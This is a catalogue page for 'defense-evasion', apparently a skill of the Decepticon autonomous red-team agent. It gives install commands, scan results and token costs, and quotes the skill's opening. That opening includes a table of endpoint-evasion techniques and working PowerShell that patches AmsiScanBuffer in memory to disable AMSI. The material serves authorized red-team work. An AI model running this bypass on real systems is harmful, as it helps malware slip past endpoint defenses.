Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill defense-evasiongit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/defense-evasion)<a href="https://agentmods.dev/skills/purpleailab/decepticon/defense-evasion"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/defense-evasion/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/defense-evasion"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/defense-evasion.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high System Prompt Leakage · line 45 Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.Fix: Remove any instructions that reveal, print, or output system prompts or internal rules. System instructions should never be exposed to end users.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00040 | $0.05215 |
| Opus 5 | $0.00020 | $0.02608 |
| Sonnet 5 | $0.00008 | $0.01043 |
| Haiku 4.5 | $0.00004 | $0.00522 |
Grade A, and why
defense-evasion scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 490 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Defense Evasion Knowledge Base
Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.
Quick Reference
| Task | Technique | Risk Level |
|---|---|---|
| Disable AMSI | Memory patch AmsiScanBuffer |
Medium |
| Disable AMSI (stealthier) | Hardware breakpoint on AmsiScanBuffer |
Low |
| Disable ETW | Patch EtwEventWrite |
Medium |
| Unhook EDR DLLs | ScareCrow / manual ntdll reload | High |
| Generate evasive payload | ScareCrow with AES encryption | Medium |
| Execute via LOLBAS | mshta, certutil, rundll32, regsvr32 | Varies |
| Process injection | Process hollowing, early bird | High |
| Custom loader | Nim/Rust/Go shellcode runner | Low-Medium |
MITRE ATT&CK Mapping
| Technique ID | Name | Evasion Relevance |
|---|---|---|
| T1562 | Impair Defenses | AMSI/ETW patching, disabling logging |
| T1027 | Obfuscated Files or Information | AES-encrypted shellcode, encoding |
| T1055 | Process Injection | Hollowing, APC injection, thread hijack |
| T1218 | System Binary Proxy Execution | LOLBAS (mshta, rundll32, regsvr32) |
| T1036 | Masquerading | Spoofed code signing, renamed binaries |
| T1140 | Deobfuscate/Decode Files | Runtime decryption of payloads |
1. AMSI Bypass Techniques
Memory Patching (AmsiScanBuffer)
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))
# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 490 lines · 40 tokens per session scan A 546e08850032
defense-evasion is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 40 tokens to every session and 5,215 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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